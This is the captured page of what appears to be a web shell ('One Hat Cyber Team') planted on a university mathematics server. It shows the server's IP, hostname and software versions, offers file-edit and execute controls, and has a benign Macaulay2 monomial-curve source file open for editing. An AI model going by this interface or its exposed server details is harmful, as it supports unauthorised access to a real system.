One Hat Cyber Team
Your IP :
216.73.216.216
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
Macaulay2
/
Core
/
Edit File:
monomcurve.m2
-- Copyright 1996 Michael E. Stillman -- Based on the Macaulay script written by David Eisenbud needs "newring.m2" monomialCurveIdeal = (S, a) -> ( -- check that S is a polynomial ring over a field n := # a; topa := max a; if not all(a, i -> instance(i,ZZ) and i >= 1) then error "expected positive integers"; a = prepend(0,a); s := symbol s; t := symbol t; k := coefficientRing S; M1 := monoid [s,t]; M2 := monoid [Variables=>n+1]; R1 := k M1; R2 := k M2; s = R1_0; t = R1_1; mm := matrix table(1, n+1, (j,i) -> s^(a#i) * t^(topa - a#i)); j := generators kernel map(R1, R2, mm); ideal substitute(j, submatrix(vars S, {0..n})) ) -- Local Variables: -- compile-command: "make -C $M2BUILDDIR/Macaulay2/m2 " -- End:
Simpan